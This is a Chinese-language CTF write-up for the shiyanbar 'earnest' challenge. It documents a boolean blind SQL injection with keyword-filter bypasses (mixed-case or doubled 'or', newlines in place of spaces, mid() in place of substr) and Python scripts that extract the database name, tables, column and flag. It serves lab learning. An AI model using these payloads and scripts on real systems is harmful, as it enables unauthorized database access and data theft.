实验吧CTF题之认真一点
文章最后更新时间为:2018年08月14日 11:19:23
打开页面发现是一个输入框,根据输入的id判断此id是否存在。
如上图,如果存在则显示you are in ,否则显示you are not in。
随手输入几个1
,admin
,1'
,1 and 1=1
,1 and 1=2
...,发现当输入1 and 1=1
时返回Sql injection detected!
于是可以判断出这里存在对某些关键词的过滤。
接下来使用burp suite进行sql注入模糊测试。发现很多关键词都被过滤,比如and
,空格,#
,sleep
,union
等。但是or还有一些关键词可用。
。
于是构造关键词0'or(1)or'0。理论上应该为true,可是却返回了you are not in
原来后台还是对or进行了处理:将or变成了空,但是只是匹配了小写,于是我们可以双写or或者使用Or绕过这个处理。当我们输入0'oorr(1)oorr'0
或者0'Or(1)Or'0
就返回了you are in。
接下来就是盲注的东西了,一开始用substr发现行不通,原来substr也被过滤了。
直接爆破数据库长度:
import requests
url = "http://ctf5.shiyanbar.com/web/earnest/index.php"
true_flag = "You are in"
# 爆破数据库长度 结果为 18
for len in range(1,25):
payload = "0'Or(length(database())=%d)Or'0"%len
data = {"id":payload}
r = requests.post(url,data=data)
r.encoding = r.apparent_encoding
text = r.text
if true_flag in text:
print("数据库长度为:%d"%len)
break
结果:
接下来爆破数据库名,这里没有用ascci二分盲注法,直接依次匹配字母:
import requests
chars ="abcdefghijklmnopqrstuvwxyz_0123456789"
url = "http://ctf5.shiyanbar.com/web/earnest/index.php"
true_flag = "You are in"
# 爆破数据库名 结果为 ctf_sql_bool_blind
database_name=''
for x in range(18):
for y in chars:
payload = "0'Or((mid((database())from(%s)fOr(1)))='%s')Or'0"%(x+1, y)
data={"id":payload}
r = requests.post(url,data=data)
r.encoding = r.apparent_encoding
text = r.text
if true_flag in text:
database_name=database_name+y
print("数据库名称为:%s"%database_name)
break
print("end")
结果:
接下来爆破该数据库中的表:
import requests
chars ="~abcdefghijklmnopqrstuvwxyz_0123456789=+-*/{\}?!:@#$%&()[],."
url = "http://ctf5.shiyanbar.com/web/earnest/index.php"
true_flag = "You are in"
# 爆破数据库表 fiag、users
result=" "
for x in range(20):
for y in chars:
# 将所有的表用__连接起来
payload = "0'Or((select(mid(group_concat(table_name separatOr '___')from(%s)fOr(1)))from(infOrmation_schema.tables)where(table_schema)='ctf_sql_bool_blind')='%s')Or'0"%(x+1,y)
payload = payload.replace(' ', chr(0x0a)) # 空格被过滤,这里需要替换
data = {'id': payload}
r = requests.post(url, data=data)
r.encoding = r.apparent_encoding
text=r.text
if true_flag in text:
result=result+y
print(result)
break
print("final result is %s"%result)
print("end")
结果
(不知道为什么后面会有很多-。原因是-被替换成了空格)猜测fiag是我们的目标,接下来爆破fiag表中的列,替换payload:
payload = "0'Or((select(mid(group_concat(column_name separatOr '@')from(%s)fOr(1)))from(infOrmation_schema.columns)where(table_name)='fiag')='%s')Or'0"%(x+1,y)
结果只有一列,列名为fl$4g。
接下来爆破字段。替换payload:
payload = "0'Or((select(mid((fl$4g)from(%s)fOr(1)))from(fiag))='%s')Or'0" % (x + 1, y)
最终结果:
因为-会被替换成空格,所以最终结果是flag{haha~you win!}